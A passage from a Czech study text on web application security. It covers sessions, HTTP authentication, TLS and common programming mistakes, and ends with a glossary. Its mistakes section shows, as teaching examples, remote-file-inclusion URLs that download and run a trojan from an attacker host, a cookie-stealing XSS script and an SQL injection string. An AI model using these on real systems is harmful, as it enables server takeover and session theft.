totožnost uživatele pomocí sessionid, předáme-li ho na další stránky. Na dalších stránkách můžeme postupovat například takto: Příklad ".(Time()$casneaktivity).") AND (ipadresa='$_SERVER[REMOTE_ADDR]')"); if (pg_num_rows($overenisessionid)!=1) die("Nepodarilo se identifikovat uzivatele - mohlo dojit k vyprseni platnosti autentikace nebo zmene IP adresy."); $uzivatel = pg_fetch_array($overenisessionid, 0); $ulozenizmen = pg_exec($pripojeni, "UPDATE uzivatele SET poslednipristup=".Time()." WHERE sessionid='".$_REQUEST[sessionid]."'"); echo "
Prihlasen uzivatel: ".$uzivatel[jmeno]." - odkaz na dalsi stranku aplikace
\n"; ?> Hledáme tedy uživatele s daným sessionid, u kterého se shoduje IP adresa a kde uživatel není neaktivní déle než hodinu. V případě úspěchu zaktualizujeme čas posledního přístupu, můžeme si z proměnné $uzivatel také vypsat např. jméno uživatele. Na další stránky pokračujeme obdobným způsobem. Předávání identifikátoru přihlášení (sessionid) lze několika způsoby – můžeme je předávat v URI (jako je uvedené v příkladu), přidávat do formulářů jako skrytou položku nebo využít cookies19. Někteří uživatelé však cookies nepoužívají a mohou tedy s tímto způsobem mít problém. V příkladech je vidět, jakým způsobem toto řešení obecně funguje. Například v PHP si však můžeme práci ulehčit použitím vestavěných funkcí pro práci se sessions [7]. Přednosti Hlavní přednost tohoto řešení již byla zmíněna v popisu – je jí možnost ověření uživatele v dalších částech aplikace bez potřeby nutit ho opakovaně k zadávání hesla. Zbylé výhody najdeme i u řešení 2.7. Nedostatky a hrozby K nedostatkům řešení 2.7 přidáváme další možnou bránu do systému – sessionid. Při předvídatelném způsobu jeho generování tím vzniká možnost uhodnutí sessionid vetřelcem. V opačném případě je stále možné odposlechnout jej během přenosu, v případě předávání v URI (jak to bylo uvedeno v příkladech) pak navíc ještě možnost najít jej v log souborech, v případě předávání v cookies je třeba pamatovat na nebezpečí tzv. XSS – cross-site scripting – tedy možnosti získání cookie skriptem ze stránky vetřelce. Více viz 5.3. Nedostatky se lze snažit minimalizovat kontrolami IP adresy a času neaktivity uživatele. 18
Vhodné aplikace S využitím sessions je možné realizovat již drtivou většinu existujících webových aplikací, tedy i těch, které vyžadují stálé přihlášení uživatele pro svou funkčnost. Může se jednat například o: • diskusní fóra • redakční systémy • komunitní servery • internetové portály • aplikace zpřístupňující další služby – e-mail, rezervace v knihovnách • aplikace s cílem umožnit každému uživateli uzpůsobit si ji na míru
2.9.
Zabezpečení na úrovni webového serveru
Popis Chceme-li zpřístupnit uživatelům aplikace dokumenty, nesestávající se jen z HTML kódu, narazíme na problém s jejich zabezpečením. Umístíme-li je do adresářové struktury aplikace na webový server a následně odkaz na zabezpečenou stránku, může se stát podobně jako u řešení 2.1, že URI dokumentu zjistí i vetřelec a dokument si bez dalších překážek stáhne. Jedním z možných řešení je neodkazovat uživatele přímo na vlastní dokument, ale na zvláštní skript, který nejprve ověří uživatele podle jeho identifikátoru připojení a teprve v případě úspěchu pošle do prohlížeče URI vlastního dokumentu. Uživatel tedy přímo s URI nepřijde do styku a tím trochu snižujeme možnost prozrazení – pro vetřelce však není velký problém si URI zjistit. Dalším řešením je opět zvláštní skript, který nejprve ověří uživatele podle jeho identifikátoru připojení a teprve v případě úspěchu pošle do prohlížeče obsah dokumentu. Zde můžeme narazit na dva problémy: • prohlížeč nabídne uživateli jako název souboru název skriptu, nepostaráme-li se o zaslání správných HTTP hlaviček20 • u velmi velkých souborů můžeme narazit na problémy s příliš dlouhou dobou běhu skriptu či nedostatkem paměti (podle nastavených limitů) Existuje ještě další řešení, vhodné pro některá použití – tím je přenést ověřování totožnosti uživatelů na úroveň webového serveru, tedy mimo webovou aplikaci. Jde o tzv. HTTP autentikaci [8]. Webový server si může zasláním HTTP hlavičky 401 vynutit zadání uživatelského jména a hesla, na což prohlížeč uživatele zareaguje zobrazením výzvy k zadání jména a hesla. Webový server přijatá data porovná se svou databází uživatelských jmen a hesel a v případě úspěšného ověření uživateli dokument zašle. Konkrétní možnosti regulace přístupu jsou závislé na zvoleném webovém serveru – v příkladu je nastavení webového serveru Apache tak, jak by bylo možné nalézt jej v globálním konfiguračním souboru serveru či v jeho lokální variantě (typicky nazývané .htaccess): Příklad AuthType Basic AuthName "Zabezpecena aplikace 1" AuthUserFile /usr/local/apache/passwd/passwords Require valid-user V tomto případě by bylo nutné vytvořit předem soubor passwords programem htpasswd, který pro každého uživatele přidá do souboru řádku s jeho přihlašovacím jménem a zašifrovaným heslem. 19
Vyžádá-li si uživatel stránku takto zabezpečené aplikace, webový server mu zašle výzvu k zadání hesla pro „Zabezpecena aplikace 1“ a po obdržení informací se pokusí vyhledat uživatele v souboru passwords. Najde-li uživatele se správným heslem, přístup ke stránce či dokumentu umožní. Při velkém počtu uživatelů však ověřování představuje značné zdržení a tak stejně jako u 2.7 by bylo vhodnější ukládat informace o uživatelích do relační databáze. Tuto možnost najdeme u webového serveru Apache od verze 2.1 v modulu mod_authn_dbd [9]. Přednosti Přenesením ověřování uživatelů na úroveň webového serveru zabezpečíme poměrně snadno i další typy dokumentů, můžeme se také do značné míry zbavit starosti s ověřováním uživatelů ve vlastní aplikaci. Nedostatky a hrozby Toto řešení může být výhodné pro ty aplikace, které se mohou smířit s následujícími nevýhodami: 1. není možné příliš ovlivnit vzhled výzvy k přihlášení, např. dopsat tam další nápovědu 2. není snadné uživatele spolehlivě a elegantně odhlásit 3. heslo se typicky zasílá nešifrované, šifrované varianta této autentikace není široce podporována všemi prohlížeči, zejména staršími 4. přihlašovací informace se zasílají pokaždé znovu (ačkoliv je prohlížeč vyžaduje od uživatele jen poprvé), což zvyšuje riziko jejich zjištění vetřelcem 5. je znesnadněna další práce s přihlašováním uživatelů (zjištění času přihlášení, kontrola IP adres atd.) 6. je potřeba mít možnost zasáhnout do konfigurace webového serveru Vhodné aplikace Zabezpečení aplikace na úrovni webového serveru může být vhodné pro aplikace podobného rozsahu jako u 2.5 a dále aplikace, které chtějí jednoduše regulovat přístup k velkému množství dokumentů. Poznámka Využít HTTP autentikace a vyhnout se tak například nutnosti vytvářet formuláře či řešit sessions je možné i prostřednictvím PHP zasláním příslušných HTTP hlaviček, PHP zaslané přístupové údaje uloží do proměnných, přístupných v aplikaci, takže je možné údaje následně ověřit. Více viz [10].
2.10.
Další pokročilé formy zabezpečení
Popis Zabezpečení uživatelským jménem a heslem může být v některých případech nedostačující. Lze najít alespoň dva takovéto případy, kdy je třeba umožnit uživateli autentikovat se ještě další cestou: • bankovní a další aplikace, kde má oprávnění pro provedení operací zásadní důležitost • situace, kdy uživatel zapomene své heslo Shodou okolností v obou případech lze postupovat obdobně. Je žádoucí dopravit k uživateli další cestou takzvané one-time password14 – jednorázové heslo, pomocí kterého se přihlásí. Jako další cesta může sloužit nejčastěji SMS či e-mail.
20
Proces přihlášení pak může mít tento scénář: 1. uživatel na přihlašovací stránce zadá své uživatelské jméno a vyžádá si zaslání jednorázového hesla (ať už kliknutím na odkaz „zapomněli jste své heslo?“ či regulérní „zaslat heslo“ v aplikacích, kde je toto běžné) 2. uživatel obdrží jednorázové heslo v SMS nebo e-mailu 3. uživatel se přihlásí pomocí jednorázového hesla U bankovních a podobných aplikací půjde pochopitelně o šifrované SMS, takže uživatel pro přečtení bude muset zadat ještě své další heslo. E-maily lze zvolit pouze v důvěrně známém prostředí – viz 4 – a za použití transparentního šifrování na celé trase přenosu – viz 3. V e-mailu nemusíme již uvádět přímo text hesla, ale stačí zobrazit URI, ve kterém bude toto heslo jako parametr, uživatel pak nemusí nic přepisovat a stačí mu pro přihlášení kliknout na URI. Chceme-li tato řešení používat, potřebujeme mít pochopitelně předem k dispozici potřebné údaje, tedy například při registraci uživatelů vyžadovat funkční e-mailovou adresu. U řešení využívajících SMS či SMS šifrované a dešifrované pomocí SIM Tool Kitu21 náklady na realizaci významně stoupají, potřeby mohou zahrnovat SMS bránu, vývoj aplikace pro mobilní telefony, dohodu s mobilním operátorem aj. Přednosti Toto řešení nám umožňuje vyrovnat se i se situacemi, kde prosté heslo nelze z nějakého důvodu použít. Nedostatky a hrozby Je nutná existence dalších komunikačních kanálů, které mohou být drahé. Vhodné aplikace Jak již bylo uvedeno, jde za prvé o aplikace s velkým důrazem na ověření oprávnění uživatelů, zejména aplikací bankovních, za druhé pak o způsob jak se vyrovnat se zapomínáním hesel uživatelů u jednodušších aplikací.
21
3. Transparentní šifrování 3.1.
Zabezpečení aplikací za pomoci šifrování
U všech řešení uvedených v kapitole 2 jsme naráželi na problém spojený s možností odposlechu přenášených dat, zejména uživatelem zadávané přihlašovací údaje, URI a v něm obsažené identifikace připojení či cookies. Několik úskalí jsme navíc dosud ani příliš neřešili: • přenos informací z aplikace směrem k uživateli – výstupem z aplikace mohou být důvěrná data, která je nutné udržet v tajnosti • nezměnitelnost informací během přenosu – máme značný zájem na tom, aby data v obou směrech dorazila na místo určení beze změny (příkaz k úhradě do banky a výpis důvěrných údajů k uživateli) • důvěryhodnost aplikace – uživatel potřebuje před odesláním svých důvěrných informací mít jistotu, že aplikaci na určitém URI opravdu provozuje určitá fyzická či právnická osoba Na tyto problémy reaguje kryptografie a v našem konkrétním případě pak protokol HTTPS22, založený na TLS či jeho předchůdci SSL23.
3.2.
Fungování TLS
TLS je protokolem zajišťujícím bezpečnou komunikaci zejména v prostředí Internetu. Po navázání spojení šifruje veškerá data posílaná mezi serverem a uživatelem tak, že vytvoří jakýsi tunel, kterým veškerá komunikace prochází. Z hlediska komunikačních protokolů tak nepředstavuje téměř žádnou změnu a podobně ani pro uživatele. Uživatel naznačí svému programu, např. prohlížeči, že má zájem komunikovat s použitím TLS šifrování, prohlížeč naváže se serverem šifrovanou komunikaci a zobrazí uživateli výsledek nijak se nelišící vzhledem či ovládáním od nešifrované verze. Konkrétněji řečeno, uživateli se nezjevují žádné další výzvy k zadání hesel, klíčů, přihlašovacích jmen. Přesto komunikuje rázem bezpečně. Po připojení se programu k serveru si v našem případě prohlížeč a webový server sdělí, které z různých šifer jsou schopni pro vzájemnou komunikaci používat a na některých se shodnou. Mohou si navzájem vyžádat své certifikáty, viz dále. U webových aplikací se běžně vyžaduje certifikát serveru, je ale možné využívat pro zabezpečení i certifikáty pro uživatele. Obě strany se dále dohodnou buď s využitím certifikátů nebo jiným bezpečným způsobem na společném klíči, kterým budou šifrovat další komunikaci za pomoci některé ze symetrických šifer. Po tomto úvodním představení mohou být zasílána data, šifrovaná dohodnutým způsobem. Po doplnění zašifrovaných dat o jejich kontrolní hash, např. MD57, mohou být data odeslána. TLS funguje na základě asymetrických a symetrických šifer. Asymetrická šifra je založena na existenci dvou klíčů (čísel): • veřejný klíč je možné použít k zašifrování zprávy • privátní klíč je možné použít k rozšifrování zprávy Toho se využívá například ve zmíněných certifikátech. Certifikát by bylo možné přirovnat k dokladu totožnosti. Vydává ho tzv. certifikační autorita – někdo, jehož totožnost je ověřena dostatečně důvěryhodně. Součástí certifikátu je veřejný klíč. Během procesu navazování spojení nám tedy server říká, že jeho provozovatelem je firma Abc, za což ručí certifikační autorita Cde, a že zprávy pro něj můžeme šifrovat tímto jeho veřejným klíčem a nikdo jiný než on je nebude schopen rozšifrovat. Máme-li svůj certifikát, můžeme mu obdobné informace zaslat také. Privátní klíč pochopitelně drží všichni v tajnosti, aby si zprávy určené jim nemohl číst nikdo jiný.
22
Symetrické šifry naproti tomu komunikují za použití jediného stejného šifrovacího klíče, zato však komunikují o poznání rychleji, proto se po úvodní fázi používají právě tyto. Obtížnost prolomení obou typů šifer je obecně založena na výpočetní náročnosti některých matematických operací s čísly velkých řádů, například rozkladu čísla na součin prvočísel.
3.3.
Shrnutí a využití
Možnost využití spolehlivého a pro uživatele transparentního šifrování vedla k využitelnosti webových aplikací i v oblastech s nejvyššími nároky na zabezpečení – tedy v aplikacích zabývajících se penězi a důvěrnými informacemi. Přináší do prostředí Internetu důvěryhodnost a nacházíme jej v elektronických obchodech při platbách platebními kartami, u elektronického bankovnictví, aplikací pracujícími s osobními údaji a vůbec všech aplikací, kde je větší šance, že by někomu mohly stát za pokus o průnik. Možná překvapivě není tato technologie ani příliš nákladná, je obsažena jak v programech uživatelů – prohlížečích, tak ve webových a dalších serverech. Určité náklady může představovat pořízení certifikátů, šifrovanou komunikaci však můžeme provozovat i bez nich, smíříme-li se my i uživatelé s nemožností ověřit si jejich prostřednictvím důvěryhodnost serveru. Zřejmě není třeba dodávat, že pro všechny metody uvedené v kapitole 2 představuje transparentní šifrování obrovský přínos, jeho prostřednictvím se zejména z řešení 2.8 a 2.10 stávají ideální a takřka nepřekonatelné způsoby zabezpečení.
23
4. Zabezpečení intranetových aplikací 4.1.
Specifické možnosti intranetu
Osoba s zamýšlející se nad možností zabezpečení webové aplikace v prostředí intranetu má k dispozici ještě další možnosti, zejména ve třech oblastech: • přístup do aplikace z konkrétních počítačů • přizpůsobení programového vybavení počítačů v organizaci • využití přihlašování uživatelů do lokální sítě organizace
4.2.
Přístup do aplikace z konkrétních počítačů
Známe-li topologii počítačové sítě a je-li vyloučeno získání jiné IP adresy, můžeme při přístupu do aplikace kontrolovat navíc, zda se uživatel přihlašuje z určené IP adresy, pokud je to vhodné. Určité operace tak bude moci provést například jen uživatel přihlášený z počítače v serverovně, od které má klíče jen správce sítě.
4.3.
Přizpůsobení programového vybavení počítačů v organizaci
Návrhář zabezpečení webové aplikace, používané cílovou skupinou napříč uživateli Internetu, musí zohledňovat poměrně velkou řadu omezení, se kterými se lze u různých uživatelů setkat. Zastaralé prohlížeče mohou mít problémy s moderními šiframi. Uživatelé mohou používat prohlížeče nepodporující JavaScript či ho vypínat. Všichni uživatelé nebudou mít nainstalován Flash ani Java Virtual Machine. V některých případech, je-li softwarové vybavení počítačů v organizaci všude stejné nebo můžeme-li ho ovlivňovat, je možné navrhnout i takové zabezpečení, které by při nasazení na Internetu vedlo ke znepřístupnění aplikace pro významnou část uživatelů. Mimo jiné můžeme také nainstalovat uměle vytvořený certifikát naší vlastní certifikační autority a přimět tak všechny počítače, aby jí důvěřovaly.
4.4.
Využití přihlašování uživatelů do lokální sítě organizace
Zvažuje-li organizace intranetovou aplikaci, s velkou pravděpodobností v ní funguje místní síť, do které se uživatelé přihlašují nějakými údaji. Nabízí se možnost využít těchto existujících přihlašovacích údajů i pro potřeby webové aplikace. Můžeme pak využít i nejmodernějších technologií pro přihlašování – biometrických čteček24, hardwarových klíčů aj.
24
5. Časté a nebezpečné chyby 5.1.
Kontrola obsahu proměnných
Pro programování webových aplikací jsou velmi často používány programovací jazyky, které nevyžadují striktně inicializaci proměnných. Tyto jazyky se snaží být flexibilní a jednoduché, díky čemuž v nich dokáží jednoduchou aplikaci brzy vytvořit i začátečníci s dostatkem úsilí. Z této poměrně pozitivní vlastnosti však vyplývají i negativa – programátoři často podceňují kontrolu parametrů aplikace, zejména těch, které uživatelé běžně neovlivňují. Zapomínají tak na to, že uživatelé mohou ovlivnit všechny parametry předávané aplikaci – ať již jde o parametry v URI, parametry z formulářů předávané přes POST či o cookies. Změnou parametrů lze – samozřejmě v závislosti na konkrétní aplikaci – docílit výpisu jiných údajů z databáze, získání přístupu k aplikaci a v některých případech i ohrozit bezpečnost webového serveru. Jako ukázkový odstrašující příklad může posloužit nezabezpečená technika, využívající jediný skript pro zobrazování různého obsahu – různých stránek či rubrik. Právě zobrazovanou stránku si předává v nějaké proměnné v URI: http://www.example.com/index.php?stranka=tajne.php, tedy vlastní data stránky pak načítá např. v PHP funkcí include(): Příklad Zadáním určitého URI lze v tomto případě donutit webový server ke spuštění PHP kódu z jiného serveru: http://www.example.com/index.php?stranka=http://www.server-vertrelce.cz/utok.txt Je to možné kvůli standardně zapnuté konfigurační direktivě PHP URL_fopen_wrappers, která umožňuje pro potřeby PHP funkcí otevírat i vzdálené soubory. Nápravou v tomto i dalších případech je zkontrolovat obsah každé proměnné, zda obsahuje jen takové hodnoty, které nenaruší běh aplikace. Je možné zkontrolovat to výčtem všech variant, regulárními výrazy či jinak obdobně. Kontrola je nutná, její vynechání může vést v lepším případě k nesmyslnému zobrazení a v tom nejhorším až ke zveřejnění zabezpečovaných dat či narušení bezpečnosti celého serveru či alespoň napadené aplikace – obsahem souboru utok.txt může být leccos: Příklad Tento kód by způsobil vypsání zdrojového kódu celé stránky index.php – vetřelec by si tedy mohl přečíst, které další soubory vkládáme, jaké máme heslo do databáze – a postupovat stále dále naší aplikací. Mohlo by to ale dopadnout také hůře – pokud bychom místo utok.txt zapsali PHP kód do utok.php, abychom tak mohli předávat útočnému skriptu různé parametry, například: Příklad "; ?> 25
Do prohlížeče by pak vetřelec mohl zadat tato URI: http://www.example.com/index.php?stranka=http://www.serververtrelce.cz/utok.php?cmd=cd%20/var/tmp;wget%20http://www.server-vertrelce.cz/trojsky-kun http://www.example.com/index.php?stranka=http://www.serververtrelce.cz/utok.php?cmd=cd%20/var/tmp;chmod%20777%20trojsky-kun http://www.example.com/index.php?stranka=http://www.serververtrelce.cz/utok.php?cmd=cd%20/var/tmp;./trojsky-kun Tím by nechal spustit na cílovém serveru funkci exec, která umí provést příkaz v operačním systému – nejprve by si tedy stáhnul program, sloužící jako trojský kůň, kterému by pak změnil práva tak, aby byl spustitelný a na závěr ho spustil. Tím by získal kontrolu nad celým serverem. Vše by se dělo v dočasném adresáři /var/tmp, kam pravděpodobně bude mít právo zápisu kdokoliv. Tento scénář samozřejmě může narazit na různé operační systémy a konfigurační direktivy, zvláště při používání tzv. safe-mode v PHP – režimu, kdy potenciálně rizikové aktivity jsou silně omezeny. Nicméně patří mezi úspěšné scénáře. Další specifickou chybou bylo používání neinicializovaných proměnných se zapnutou konfigurační direktivou PHP register_globals. Tato direktiva pro zjednodušení programování „globalizuje“ celou řadu dalších proměnných, původně umístěných v polích. Mezi jinými tedy z proměnné $_REQUEST[prihlaseny] vytvoří proměnnou $prihlaseny, což se může vymstít například v takovémto kódu, obdobného k 2.5: Příklad Tajné informace se nám podaří zobrazit i bez přihlášení zadáním parametru do URI: http://www.example.com/skript.php?prihlaseny=1 Bezpečnější je tedy mít tuto direktivu vypnutou a zamýšlet se při programování nad tím, zda všechny proměnné, se kterými pracujeme, byly někde inicializovány – a nebo zda pocházejí od uživatele a tudíž je ošetřit.
5.2.
SQL injection
Specifický případ problému s nekontrolováním uživatelského vstupu – parametrů aplikace – je tzv. SQL injection. Týká se aplikací, které s některými uživatelskými vstupy pracují v SQL dotazech do databáze – což je většina těch, které databáze vůbec používají. Představme si tento dotaz, kde $_REQUEST[jmeno] je proměnná, zadaná uživatelem: Příklad Pokud uživatel zadá do proměnné jméno hodnotu: ' OR 'a' = 'a Výsledným dotazem, zaslaným do databáze, bude: 26
SELECT jmeno, email FROM uzivatele WHERE jmeno = '' OR 'a' = 'a' Tomuto dotazu vyhoví díky poslední podmínce všechny záznamy a tedy budou také všechny vypsány. Kromě ovlivnění výpisu je podobně možné také ukončit prováděný dotaz a spustit další dotaz, který například smaže celou databázi, nastaví jiné heslo administrátorovi databáze nebo přidá dalšího uživatele pro vetřelce. PHP se snaží programátorům problematiku ulehčit možností zapnutí direktivy magic_quotes_gpc – ta pro všechny vstupy do aplikace (předané přes POST, GET či cookies) automaticky vkládá zpětné lomítko před znaky uvozovek aj. To znemožňuje některé typy útoků, nicméně ne všechny a stále tak platí, že je nutné kontrolovat všechny možné vstupy uživatelů a obzvláště pak ty, se kterými chceme pracovat v databázi.
5.3.
Cross-site scripting
Součástí některých webových aplikací bývá prostor, který mohou uživatelé editovat – může jít o diskusní fóra, osobní stránku uživatele, komentáře pod články atd. Z hlediska aplikace samotné se budeme rozhodovat, zda povolíme uživatelům zadávat HTML kód či jen prostý text – zda jim HTML k něčemu bude a jak vyřešíme riziko, že rozbijí strukturu a vzhled stránky špatným kódem. Z hlediska zabezpečení však číhá hrozba ještě podstatnější – pomocí uživatelského HTML kódu a potažmo JavaScriptu je možné v některých případech překonat zabezpečení aplikace. Je to nazýváno cross-site scripting se zkratkou XSS. Týká se možnosti vložit do stránky kód, který ovlivní další uživatele a může vést k získání kontroly nad jejich uživatelskými účty. Předáváme-li si identifikátor připojení v URI a uživatelé mohou vkládat HTML kód do svých příspěvků, mohou vložit také obrázek ze své stránky. Ostatním uživatelům se obrázek zobrazí, do log souboru webového serveru vetřelce se však uloží i referer – tedy URI odkazující stránky – aplikace, které obsahuje i identifikátor připojení (sessionid). Za pomoci jednoduchého JavaScriptu, vloženého do příspěvku, je možné zjistit i obsah cookies, předáváme-li identifikátor připojení v nich: Příklad <script> new Image().src="http://www.vetrelec.com/zaznamenavame.php?cookie=" + encodeURI(document.cookie); V tomto případě se ani žádný obrázek nezobrazí, ale spustí se skript na webovém serveru vetřelce, který zaznamená obsah cookies. Vyplatí se tedy důkladně zvážit, zda uživatelé pro svoji činnosti HTML potřebují a případně které jeho značky, JavaScript je vhodné zakázat ve všech případech.
5.4.
Umístění konfiguračních souborů
Zbytečnou chybou se může stát také umístění konfiguračního souboru tak, aby bylo možné získat ho od webového serveru – ani zde nesmíme spoléhat na utajení URI: http://www.example.com/includes/conf/tajna-hesla.txt Soubory, které uživatelé nepotřebují získávat přímo, umístíme mimo kořenový adresář webu nebo alespoň zakážeme jejich zobrazování v nastavení webového serveru. U konfiguračních souborů PHP, které jen inicializují proměnné, postačuje pojmenovat je s koncovkou .php a ne jinak, aby se v případě jejich zobrazení dostala k vetřelci jen prázdná stránka a ne jejich zdrojový kód.
27
6. Závěr V několika kapitolách jsme prošli základní možnosti zabezpečení webových aplikací a témata úzce související – využití šifrování, nasazení webové aplikace v prostředí intranetu a také několik úskalí programování webových aplikací. Věřím, že toto mé shrnutí tématu zabezpečení webových aplikací může být užitečný těm, kteří se potřebují zorientovat v této problematice, aby dokázali zvolit vhodné prostředky. Snažil jsem se popsat způsoby velmi jednoduché a dostat se až k možnostem vhodným pro aplikace s velkým důrazem na zabezpečení – pro každou aplikaci je individuálně potřeba zvážit, kolik úsilí na straně programátorů i uživatelů je vhodné zabezpečení věnovat. Důsledky narušení zabezpečení se mezi nimi budou lišit diametrálně. Popis uvedených možností neobsahuje kompletní detailní návody, jak konkrétní formu zabezpečení zrealizovat – zaměřuje se na nastínění myšlenky a jejích pozitivních i negativních stránek. Pro zabezpečení konkrétní aplikace je proto jistě vhodné prozkoumat vybranou metodu ještě hlouběji v literatuře, zejména v textech na Internetu. U zabezpečení konkrétní webové aplikace nelze než připomenout význam zabezpečení dalších částí celého systému – u rozsáhlých aplikací se toto týká nastavení pravidel síťové komunikace a firewallů, zabezpečení použitých operačních systémů a použitých aplikačních serverů – webových, databázových, poštovních, systémů detekce narušení bezpečnosti. Podaří-li se vybudovat účinnou barikádu, zabezpečující webovou aplikaci proti určitým typům útoků, stále to nestačí, je-li možné barikádu bez obtíží obejít a dostat se k aplikaci jinudy. Neboli na samý závěr – zabezpečení bude jen tak silné, jako nejslabší článek řetězu všech do systému zapojených prvků.
28
7. Seznam použité literatury [1]
Terminologický slovník ČSSI [databáze online]. Praha : Česká společnost pro systémovou
[2]
BERNERS-LEE, et al. Uniform Resource Identifier (URI): Generic Syntax. [online]. 2005 [cit. 2007-01-09]. Dostupné z WWW:
[3]
FLANAGAN, D. JavaScript. Kompletní průvodce. 1. vyd. Praha : Computer Press, 1998. 710 s. ISBN 80-7226-093-6
[4]
SPAFFORD, E. Security Myths and Passwords. [online]. 2006 [cit. 2007-01-11]. Dostupné z WWW:
[5]
KOSEK, J. PHP. Tvorba interaktivních internetových aplikací. 1. vyd. Praha : Grada, 1998. 492 s. ISBN 80-7169-373-1.
[6]
RATSCHILLER, T., GERKEN, T. Web Application Development with PHP 4.0. 1. vyd. Indianapolis : New Riders, 2000. 384 s. ISBN 0-7357-0997-1
[7]
The PHP Group: PHP Manual. [online]. 2007 [cit. 2007-01-11]. Dostupné z WWW:
[8]
FRANKS, et al.: HTTP Authentication: Basic and Digest Access Authentication. [online]. 1999 [cit. 2007-01-09]. Dostupné z WWW:
[9]
Apache Software Foundation: Apache HTTP Server Documentation. [online]. 2006 [cit. 2007-0109]. Dostupné z WWW:
integraci, 2002 [cit. 2007-01-09]. Dostupné z WWW:
[10] The PHP Group: PHP Manual. [online]. 2006 [cit. 2007-01-11]. Dostupné z WWW: [11] KLÍMA, V. Tunnels in Hash Functions: MD5 Collisions Within a Minute. [online] 2006 [cit. 200701-17]. Dostupné z WWW:
29
8. Terminologický slovník 1
Internetová aplikace: Druh aplikace, jejíž uživatelské rozhraní je zobrazováno prohlížečem. [zdroj: ČSSI]
2
HTTP (Hyper Text Transfer Protocol): Protokol pro přenos dokumentů v Internetu (používá se nejčastěji na WWW). [zdroj: ČSSI] 3
Webový server: Aplikace běžící na počítači připojeném do Internetu, jejímž prostřednictvím si mohou uživatelé vyžádat stránky či soubory za pomoci protokolu HTTP. 4
Log soubor: Soubor, v němž jsou zaznamenány všechny operace provedené v rámci běhu aplikace. [zdroj: ČSSI] 5
JavaScript: Programový kód, prováděný v internetovém prohlížeči, tzv. client-side skript. Umožňuje provádět dynamické změny na zobrazené stránce bez nutnosti jejího nového načítání. 6
Client-side skript: Programový kód, prováděný na straně klienta – uživatele, např. JavaScript, VBScript aj. 7
MD5: kryptografická hashovací funkce, vytvářející z libovolného řetězce řetězec hexadecimálních znaků, dlouhý 32 znaků a s velikou pravděpodobností jedinečný. 8
Flash: vývojové prostředí, vyvinuté společností Macromedia, umožňující vytvářet na webových stránkách animace s použitím audia i videa a možností interakce uživatelů prostřednictvím skriptovacího jazyka Actionscript. Vyžaduje zvláštní plug-in do prohlížeče.
9
Java applet: aplikace napsaná v programovacím jazyce firmy Sun jménem Java, uzpůsobená pro spouštění v prohlížeči uživatele na takzvané Java Virtual Machine – tedy s využitím programu, který překládá a provádí byte-kód. 10
Server-side skript: Programový kód, prováděný na straně serveru – provozovatele, mezi běžně používané programovací jazyky patří PHP, Perl, Python, ASP, Java. 11
Metoda POST: jedna z možností zasílání příkazů podle protokolu HTTP, při kterém nejsou data zadaná uživatelem zobrazena v URI
12
PHP: jeden z nejrozšířenějších skriptovacích jazyků, používaných pro programování webových aplikací. 13
Metoda GET: základní požadavek používaný v protokolu HTTP pro získání určité webové stránky; u webových aplikací využívaný i pro předávání parametrů ovlivňujících obsah získávané stránky – parametry se tak stávají součástí URI
14
One-time password: heslo pro jedno použití – je vygenerováno vždy unikátní a platné pouze pro krátký časový okamžik nebo do prvního použití. 15
Databáze relační: Datová základna (viz. Databáze) konstruovaná na principech relačního modelu dat. Koncept relačního modelu dat byl navržen začátkem sedmdesátých let profesorem E. F. Coddem. Relační model dat vychází z principů ukládání dat ve formě relačních tabulek, které jsou (s jistým zkreslením) zobrazením relačních množin (definovaných jako podmnožiny kartézského součinu množin obsahujících přípustné hodnoty atributů prvků modelovaného světa). Na základě relačního modelu dat jsou vybudovány dnes nejpoužívanější databázové systémy. Základním databázovým jazykem pro manipulaci s daty uloženými v relačním modelu dat je jazyk -> SQL. V relačních databázových systémech se obtížně zachycovaly složité datové struktury a některé typy dat (např. obraz, zvuk, video), a proto jsou postupně rozšiřovány směrem k objektovému konceptu (viz. Databáze objektová). [zdroj: ČSSI]
30
16
SQL (Structured Query Language): Nejrozšířenější databázový jazyk umožňující uživateli IS komunikovat s databázovým systémem (viz databáze). Tento jazyk byl původně vyvinut pro práci s daty ukládanými v relačních databázích, ale je používán i v databázích objektově-relačních. Jazyk umožňuje zejména definovat datové struktury, manipulovat s daty (operace Insert, Update, Delete, Select) a řídit přístup k datům. V současné době je do jazyka SQL zakomponována celá řada rozšíření směřujících k zajištění výpočetní úplnosti jazyka a implementujících objektová rozšíření. Jazyk je standardizován institucemi ANSI a ISO, v jednotlivých databázích je však naimplementován s různými dialekty. [zdroj: ČSSI] 17
SŘBD (Systém řízení báze dat): DBMS - Data Base Management System systém řízení báze dat (např. Oracle, Informix, Progress) [zdroj: ČSSI]
18
Brute-force útoky: útoky na systém, založené na zkoušení hesel dle slovníků či postupným zkoušením kombinací. 19
Cookies: rozšíření protokolu HTTP o možnost uchovávat stavové informace pomocí zvláštních HTTP hlaviček. 20
HTTP hlavičky: parametry ovlivňující komunikaci podle protokolu HTTP
21
SIM Tool Kit: jeden ze standardů GSM, umožňující SIM kartě v mobilním telefonu vyvolávat interakce mezi sítí a uživatelem v jednoduchých aplikacích. 22
HTTPS: protokol rozšiřující možnosti protokolu HTTP o transparentní šifrování pomocí TLS či SSL.
23
SSL a TLS: zkratky anglických názvů Transport Layer Security a Secure Sockets Layer označují kryptografické protokoly, které zajišťují aplikacím bezpečný přenos dat v počítačových sítích. TLS je novější verze, která nahradila SSL. 24
Biometrie: studie metod, umožňujících rozeznání unikátních osob na základě jejich fyzických charakteristik – např. otisků prstů.
31